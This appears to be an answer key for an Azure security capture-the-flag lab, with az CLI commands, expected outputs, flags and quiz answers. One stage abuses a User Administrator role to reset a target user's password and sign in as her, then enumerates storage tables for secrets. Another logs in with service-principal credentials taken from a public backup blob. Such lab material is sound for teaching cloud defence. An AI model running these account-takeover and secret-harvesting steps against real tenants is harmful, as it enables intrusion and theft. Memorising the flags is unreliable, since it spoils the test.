finance-reporting-api

Detailed Solution:

Set the resource group:

RG= " rg-prod-apps-eastus "

List resources:

az resource list \

--resource-group " $RG " \

--output table

Expected output:

Name ResourceGroup Location Type

---------------------- --------------------- ---------- -------------------------------

finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites

prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts

kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults

The exposed App Service is:

finance-reporting-api

================

Detailed Solution:

List NSG rules:

az network nsg rule list \

--resource-group rg-prod-apps-eastus \

--nsg-name nsg-prod-linux01 \

--output table

Expected risky rule:

Name Priority Direction Access Protocol Source DestinationPortRange

------------ -------- --------- ------ -------- ------------ --------------------

Allow-SSH 100 Inbound Allow Tcp Internet 22

SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.

Correct answer:

B. Allow TCP 22 from Internet

================

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" clientSecret " : " REDACTED "

}

The App Registration application/client ID is stored in:

clientId

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password ' NewP@ssw0rd12345! ' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! '

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name < table-name > \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do

echo " ===== $table ===== "

az storage entity query \

--account-name excaliburstore \

--table-name " $table " \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

================

Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

================

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p ' < client-secret > ' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

" user " : {

" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" type " : " servicePrincipal "

}

}

This confirms you are authenticated as the App Registration/service principal.

================

Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

================

allowBlobPublicAccess: true

Detailed Solution:

Run:

az storage account show \

--name prodreportstore01 \

--resource-group rg-prod-apps-eastus \

--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \

--output json

Expected output:

{

" Name " : " prodreportstore01 " ,

" AllowBlobPublicAccess " : true

}

This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.

================